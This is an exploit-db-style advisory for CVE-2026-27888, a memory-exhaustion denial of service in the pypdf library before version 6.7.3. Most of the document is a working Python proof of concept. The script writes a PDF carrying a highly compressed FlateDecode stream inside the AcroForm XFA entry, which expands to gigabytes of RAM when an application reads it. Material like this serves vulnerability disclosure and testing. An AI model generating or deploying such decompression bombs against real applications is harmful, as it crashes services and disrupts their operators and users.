============================================================================================================================================= | # Title : pypdf XFA FlateDecode Stream Memory Exhaustion DoS | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://pypi.org/project/pypdf/ | ============================================================================================================================================= [+] Summary : pypdf is a free and open-source pure-Python PDF library Prior to version 6.7.3, it was vulnerable to a Denial of Service (DoS) condition caused by uncontrolled memory allocation during decompression of XFA streams. An attacker could craft a malicious PDF file containing a highly compressed stream using /FlateDecode, embedded inside the /AcroForm → /XFA structure. If an application accessed the xfa property of a PdfReader or PdfWriter, the library could automatically decompress the stream without enforcing strict memory limits. This could result in excessive RAM consumption and eventual application crash or MemoryError. The issue has been assigned CVE-2026-27888 and was fixed in pypdf 6.7.3. [+] POC : import zlib from io import BytesIO from pypdf import PdfWriter, PdfReader from pypdf.generic import ( DictionaryObject, NameObject, ArrayObject, TextStringObject, EncodedStreamObject ) def generate_optimized_bomb(output_path, target_gb=1): """ Generates a malicious PDF with a very high compression ratio. target_gb: The size of data to be expanded in the victim's RAM (in Gigabytes). """ writer = PdfWriter() writer.add_blank_page(width=72, height=72) chunk_size = 1024 * 1024 * 10 full_data_size = target_gb * 1024 * 1024 * 1024 print(f"[*] Generating {target_gb}GB payload...") compressor = zlib.compressobj(level=9) compressed_data = b"" for _ in range(full_data_size // chunk_size): compressed_data += compressor.compress(b"A" * chunk_size) compressed_data += compressor.flush() stream = EncodedStreamObject() if hasattr(stream, "set_data"): stream.set_data(compressed_data) else: stream._data = compressed_data stream[NameObject("/Filter")] = NameObject("/FlateDecode") stream_ref = writer._add_object(stream) acro_form = DictionaryObject() acro_form[NameObject("/XFA")] = ArrayObject([ TextStringObject("datasets"), stream_ref ]) writer.root_object[NameObject("/AcroForm")] = writer._add_object(acro_form) with open(output_path, "wb") as f: writer.write(f) print(f"[+] Done! File size: {len(compressed_data) / 1024:.2f} KB") print(f"[!] Warning: Reading this file will expand to ~{target_gb} GB in RAM.") generate_optimized_bomb("death_bomb.pdf", target_gb=1) Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================